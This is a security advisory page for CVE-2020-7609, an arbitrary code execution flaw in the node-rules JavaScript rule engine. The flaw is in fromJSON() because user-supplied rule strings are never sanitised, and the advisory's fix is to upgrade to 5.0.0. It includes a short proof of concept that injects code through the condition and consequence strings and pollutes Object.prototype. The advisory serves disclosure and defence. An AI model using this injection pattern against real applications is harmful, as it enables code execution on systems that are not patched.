Arbitrary Code Execution Affecting node-rules package, versions >=3.0.0 <5.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.49% (76th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-NODERULES-560426
  • published17 Mar 2020
  • disclosed10 Mar 2020
  • creditJHU System Security Lab

Introduced: 10 Mar 2020

CVE-2020-7609  (opens in a new tab)
CWE-78  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade node-rules to version 5.0.0 or higher.

Overview

node-rules is a light weight forward chaining Rule Engine, written in JavaScript.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The injection point is located in line 152,153. The argument rules of function fromJSON() can be controlled by users without any sanitization.

Proof Of Concept

var A = require("node-rules");
var rules = {
  condition:"{}.__proto__.toString = 123",
  consequence:"console.log(123)"
}
var a = new A();
a.fromJSON(rules);
console.log({}.toString)

CVSS Scores

version 3.1